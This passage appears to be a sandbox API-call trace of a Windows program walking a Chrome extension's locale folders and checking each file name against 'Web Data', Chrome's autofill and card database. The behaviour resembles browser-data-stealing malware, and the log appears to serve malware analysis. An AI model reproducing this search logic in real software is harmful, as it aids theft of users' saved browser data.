lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs" [0078.493] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs\\*.*" [0078.493] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.493] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0078.493] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 1 [0078.493] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0078.493] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0078.493] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 1 [0078.494] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0078.494] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0 [0078.494] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.494] LocalFree (hMem=0x6525c0) returned 0x0 [0078.494] LocalFree (hMem=0x6524b8) returned 0x0 [0078.494] FindNextFileA (in: hFindFile=0x6428e8, lpFindFileData=0x12f4da | out: lpFindFileData=0x12f4da) returned 1 [0078.494] lstrcmpiA (lpString1=".", lpString2="da") returned -1 [0078.494] lstrcmpiA (lpString1="..", lpString2="da") returned -1 [0078.494] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 121 [0078.494] lstrlenA (lpString="\\") returned 1 [0078.494] LocalAlloc (uFlags=0x40, uBytes=0xfb) returned 0x6523b0 [0078.494] lstrcpyA (in: lpString1=0x6523b0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0078.494] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0078.494] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned 122 [0078.494] lstrlenA (lpString="da") returned 2 [0078.494] LocalAlloc (uFlags=0x40, uBytes=0xfd) returned 0x6524b8 [0078.494] lstrcpyA (in: lpString1=0x6524b8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0078.494] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="da" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da" [0078.494] LocalFree (hMem=0x6523b0) returned 0x0 [0078.494] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da") returned 124 [0078.494] lstrlenA (lpString="\\*.*") returned 4 [0078.494] LocalAlloc (uFlags=0x40, uBytes=0x101) returned 0x6525c0 [0078.494] lstrcpyA (in: lpString1=0x6525c0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da" [0078.494] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da\\*.*" [0078.494] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.494] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0078.494] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 1 [0078.494] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0078.494] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0078.494] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 1 [0078.494] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0078.494] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0 [0078.494] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.494] LocalFree (hMem=0x6525c0) returned 0x0 [0078.494] LocalFree (hMem=0x6524b8) returned 0x0 [0078.494] FindNextFileA (in: hFindFile=0x6428e8, lpFindFileData=0x12f4da | out: lpFindFileData=0x12f4da) returned 1 [0078.494] lstrcmpiA (lpString1=".", lpString2="de") returned -1 [0078.495] lstrcmpiA (lpString1="..", lpString2="de") returned -1 [0078.495] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 121 [0078.495] lstrlenA (lpString="\\") returned 1 [0078.495] LocalAlloc (uFlags=0x40, uBytes=0xfb) returned 0x6523b0 [0078.495] lstrcpyA (in: lpString1=0x6523b0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0078.495] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0078.495] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned 122 [0078.495] lstrlenA (lpString="de") returned 2 [0078.495] LocalAlloc (uFlags=0x40, uBytes=0xfd) returned 0x6524b8 [0078.495] lstrcpyA (in: lpString1=0x6524b8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0078.495] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="de" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de" [0078.495] LocalFree (hMem=0x6523b0) returned 0x0 [0078.495] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de") returned 124 [0078.495] lstrlenA (lpString="\\*.*") returned 4 [0078.495] LocalAlloc (uFlags=0x40, uBytes=0x101) returned 0x6525c0 [0078.495] lstrcpyA (in: lpString1=0x6525c0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de" [0078.495] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de\\*.*" [0078.495] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.495] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0078.495] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 1 [0078.495] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0078.495] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0078.495] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 1 [0078.495] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0078.496] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0 [0078.496] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.496] LocalFree (hMem=0x6525c0) returned 0x0 [0078.496] LocalFree (hMem=0x6524b8) returned 0x0 [0078.496] FindNextFileA (in: hFindFile=0x6428e8, lpFindFileData=0x12f4da | out: lpFindFileData=0x12f4da) returned 1 [0078.496] lstrcmpiA (lpString1=".", lpString2="el") returned -1 [0078.496] lstrcmpiA (lpString1="..", lpString2="el") returned -1 [0078.496] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 121 [0078.496] lstrlenA (lpString="\\") returned 1 [0078.496] LocalAlloc (uFlags=0x40, uBytes=0xfb) returned 0x6523b0 [0078.496] lstrcpyA (in: lpString1=0x6523b0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0078.496] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0078.496] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned 122 [0078.496] lstrlenA (lpString="el") returned 2 [0078.496] LocalAlloc (uFlags=0x40, uBytes=0xfd) returned 0x6524b8 [0078.496] lstrcpyA (in: lpString1=0x6524b8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0078.496] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="el" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el" [0078.496] LocalFree (hMem=0x6523b0) returned 0x0 [0078.496] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el") returned 124 [0078.496] lstrlenA (lpString="\\*.*") returned 4 [0078.496] LocalAlloc (uFlags=0x40, uBytes=0x101) returned 0x6525c0 [0078.496] lstrcpyA (in: lpString1=0x6525c0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el" [0078.496] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el\\*.*" [0078.496] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.496] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0078.496] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 1 [0078.496] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0078.496] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0078.496] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 1 [0078.496] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0078.496] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0 [0078.496] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.496] LocalFree (hMem=0x6525c0) returned 0x0 [0078.496] LocalFree (hMem=0x6524b8) returned 0x0 [0078.496] FindNextFileA (in: hFindFile=0x6428e8, lpFindFileData=0x12f4da | out: lpFindFileData=0x12f4da) returned 1 [0078.496] lstrcmpiA (lpString1=".", lpString2="en_GB") returned -1 [0078.497] lstrcmpiA (lpString1="..", lpString2="en_GB") returned -1 [0078.497] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 121 [0078.497] lstrlenA (lpString="\\") returned 1 [0078.497] LocalAlloc (uFlags=0x40, uBytes=0xfb) returned 0x6523b0 [0078.497] lstrcpyA (in: lpString1=0x6523b0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0078.497] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0078.497] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned 122 [0078.497] lstrlenA (lpString="en_GB") returned 5 [0078.497] LocalAlloc (uFlags=0x40, uBytes=0x100) returned 0x6524b8 [0078.497] lstrcpyA (in: lpString1=0x6524b8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0078.497] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="en_GB" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_GB") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_GB" [0078.497] LocalFree (hMem=0x6523b0) returned 0x0 [0078.497] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_GB") returned 127 [0078.497] lstrlenA (lpString="\\*.*") returned 4 [0078.497] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x6525c0 [0078.497] lstrcpyA (in: lpString1=0x6525c0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_GB" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_GB") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_GB" [0078.497] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_GB", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_GB\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_GB\\*.*" [0078.497] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_GB\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.497] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0078.497] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 1 [0078.497] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0078.497] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0078.497] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 1 [0078.497] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0078.497] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0 [0078.498] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.498] LocalFree (hMem=0x6525c0) returned 0x0 [0078.498] LocalFree (hMem=0x6524b8) returned 0x0 [0078.498] FindNextFileA (in: hFindFile=0x6428e8, lpFindFileData=0x12f4da | out: lpFindFileData=0x12f4da) returned 1 [0078.498] lstrcmpiA (lpString1=".", lpString2="en_US") returned -1 [0078.498] lstrcmpiA (lpString1="..", lpString2="en_US") returned -1 [0078.498] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 121 [0078.498] lstrlenA (lpString="\\") returned 1 [0078.498] LocalAlloc (uFlags=0x40, uBytes=0xfb) returned 0x6523b0 [0078.498] lstrcpyA (in: lpString1=0x6523b0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0078.498] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0078.498] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned 122 [0078.498] lstrlenA (lpString="en_US") returned 5 [0078.498] LocalAlloc (uFlags=0x40, uBytes=0x100) returned 0x6524b8 [0078.498] lstrcpyA (in: lpString1=0x6524b8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User 